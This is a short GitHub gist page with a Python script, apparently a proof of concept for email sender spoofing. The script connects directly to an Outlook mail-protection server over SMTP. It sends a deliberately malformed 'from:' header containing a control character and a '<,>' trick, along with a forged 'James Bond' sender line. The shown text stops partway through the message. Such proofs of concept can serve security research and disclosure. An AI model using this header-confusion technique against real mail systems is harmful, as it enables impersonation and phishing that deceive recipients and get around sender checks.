Skip to content

Instantly share code, notes, and snippets.

@w1lsec
w1lsec / smtp.py
Created September 27, 2024 02:36
from socket import *
mail_server = ("tantotesting.mail.protection.outlook.com", 25)
client_socket = socket(AF_INET, SOCK_STREAM)
helo = "helo tantomail.com"
mail_from = "mail from: <[email protected]>"
rcpt_to = "rcpt to: <[email protected]>"
mail = """from: \x1f <,><[email protected]>\r
sender: "James Bond" <[email protected]>\r